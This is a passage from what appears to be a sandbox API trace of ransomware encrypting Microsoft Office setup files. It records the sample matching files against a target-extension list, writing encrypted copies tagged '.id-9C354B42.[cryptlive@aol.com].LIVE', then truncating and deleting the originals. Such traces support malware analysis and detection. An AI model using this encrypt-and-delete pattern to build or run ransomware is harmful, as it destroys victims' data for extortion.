Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.649] lstrlenW (lpString=".1cd") returned 4 [0045.649] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0045.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0045.649] lstrlenW (lpString=".jpg") returned 4 [0045.649] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0045.649] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0045.649] lstrlenW (lpString="Office32MUI.XML") returned 15 [0045.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.961] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1383) returned 1 [0045.961] CloseHandle (hObject=0x1f8) returned 1 [0045.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0045.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.962] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.962] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.461] GetLastError () returned 0x0 [0046.461] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x567, lpOverlapped=0x0) returned 1 [0046.463] WriteFile (in: hFile=0x200, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x570, lpOverlapped=0x0) returned 1 [0046.464] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.464] WriteFile (in: hFile=0x200, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0046.464] SetEndOfFile (hFile=0x200) returned 1 [0046.465] CloseHandle (hObject=0x200) returned 1 [0046.466] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.466] SetEndOfFile (hFile=0x1f8) returned 1 [0046.467] CloseHandle (hObject=0x1f8) returned 1 [0046.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.467] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0046.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.468] lstrlenW (lpString=".doc") returned 4 [0046.468] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.468] lstrlenW (lpString=".docx") returned 5 [0046.468] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0046.468] lstrlenW (lpString=".pdf") returned 4 [0046.468] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.468] lstrlenW (lpString=".xls") returned 4 [0046.468] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.468] lstrlenW (lpString=".xlsx") returned 5 [0046.468] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0046.468] lstrlenW (lpString=".ppt") returned 4 [0046.468] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.468] lstrlenW (lpString=".zip") returned 4 [0046.468] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.468] lstrlenW (lpString=".rar") returned 4 [0046.468] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.468] lstrlenW (lpString=".bz2") returned 4 [0046.468] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.468] lstrlenW (lpString=".7z") returned 3 [0046.468] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.468] lstrlenW (lpString=".dbf") returned 4 [0046.468] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.468] lstrlenW (lpString=".1cd") returned 4 [0046.468] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.468] lstrlenW (lpString=".jpg") returned 4 [0046.468] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.469] lstrlenW (lpString=".doc") returned 4 [0046.469] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString=".docx") returned 5 [0046.469] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0046.469] lstrlenW (lpString=".pdf") returned 4 [0046.469] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString=".xls") returned 4 [0046.469] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString=".xlsx") returned 5 [0046.469] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0046.469] lstrlenW (lpString=".ppt") returned 4 [0046.469] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.469] lstrlenW (lpString=".zip") returned 4 [0046.469] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.469] lstrlenW (lpString=".rar") returned 4 [0046.469] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString=".bz2") returned 4 [0046.469] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString=".7z") returned 3 [0046.469] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.469] lstrlenW (lpString=".dbf") returned 4 [0046.469] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.469] lstrlenW (lpString=".1cd") returned 4 [0046.469] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0046.469] lstrlenW (lpString=".jpg") returned 4 [0046.469] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.469] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.470] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0046.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.475] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=16852) returned 1 [0046.475] CloseHandle (hObject=0x1f8) returned 1 [0046.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0046.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.479] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.479] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.480] GetLastError () returned 0x0 [0046.480] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0046.481] WriteFile (in: hFile=0x200, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0046.482] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.482] WriteFile (in: hFile=0x200, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.483] SetEndOfFile (hFile=0x200) returned 1 [0046.483] CloseHandle (hObject=0x200) returned 1 [0046.484] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.484] SetEndOfFile (hFile=0x1f8) returned 1 [0046.484] CloseHandle (hObject=0x1f8) returned 1 [0046.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.485] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0046.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.485] lstrlenW (lpString=".doc") returned 4 [0046.485] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.485] lstrlenW (lpString=".docx") returned 5 [0046.485] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0046.485] lstrlenW (lpString=".pdf") returned 4 [0046.485] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.485] lstrlenW (lpString=".xls") returned 4 [0046.485] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.485] lstrlenW (lpString=".xlsx") returned 5 [0046.485] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0046.485] lstrlenW (lpString=".ppt") returned 4 [0046.485] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.485] lstrlenW (lpString=".zip") returned 4 [0046.485] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.485] lstrlenW (lpString=".rar") returned 4 [0046.485] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString=".bz2") returned 4 [0046.486] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString=".7z") returned 3 [0046.486] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.486] lstrlenW (lpString=".dbf") returned 4 [0046.486] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.486] lstrlenW (lpString=".1cd") returned 4 [0046.486] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.486] lstrlenW (lpString=".jpg") returned 4 [0046.486] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.486] lstrlenW (lpString=".doc") returned 4 [0046.486] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString=".docx") returned 5 [0046.486] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0046.486] lstrlenW (lpString=".pdf") returned 4 [0046.486] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString=".xls") returned 4 [0046.486] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString=".xlsx") returned 5 [0046.486] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0046.486] lstrlenW (lpString=".ppt") returned 4 [0046.486] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.486] lstrlenW (lpString=".zip") returned 4 [0046.486] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.486] lstrlenW (lpString=".rar") returned 4 [0046.486] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString=".bz2") returned 4 [0046.486] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.486] lstrlenW (lpString=".7z") returned 3 [0046.487] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.487] lstrlenW (lpString=".dbf") returned 4 [0046.487] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.487] lstrlenW (lpString=".1cd") returned 4 [0046.487] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0046.487] lstrlenW (lpString=".jpg") returned 4 [0046.487] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.487] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.487] lstrlenW (lpString="SETUP.XML") returned 9 [0046.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.487] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=31094) returned 1 [0046.487] CloseHandle (hObject=0x1f8) returned 1 [0046.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0046.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.488] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.488] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.490] GetLastError () returned 0x0 [0046.490] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x7976, lpOverlapped=0x0) returned 1 [0046.492] WriteFile (in: hFile=0x200, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0046.493] ReadFile (in: hFile=0x1f8, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.493] WriteFile (in: hFile=0x200, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.494] SetEndOfFile (hFile=0x200) returned 1 [0046.494] CloseHandle (hObject=0x200) returned 1 [0046.495] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.495] SetEndOfFile (hFile=0x1f8) returned 1 [0046.496] CloseHandle (hObject=0x1f8) returned 1 [0046.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.496] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0046.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.496] lstrlenW (lpString=".doc") returned 4 [0046.496] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.496] lstrlenW (lpString=".docx") returned 5 [0046.496] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.496] lstrlenW (lpString=".pdf") returned 4 [0046.496] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.496] lstrlenW (lpString=".xls") returned 4 [0046.496] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.496] lstrlenW (lpString=".xlsx") returned 5 [0046.496] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.497] lstrlenW (lpString=".ppt") returned 4 [0046.497] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.497] lstrlenW (lpString=".zip") returned 4 [0046.497] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.497] lstrlenW (lpString=".rar") returned 4 [0046.497] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString=".bz2") returned 4 [0046.497] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString=".7z") returned 3 [0046.497] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.497] lstrlenW (lpString=".dbf") returned 4 [0046.497] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.497] lstrlenW (lpString=".1cd") returned 4 [0046.497] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.497] lstrlenW (lpString=".jpg") returned 4 [0046.497] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0046.497] lstrlenW (lpString=".doc") returned 4 [0046.497] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.497] lstrlenW (lpString=".docx") returned 5 [0046.497] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.497] lstrlenW 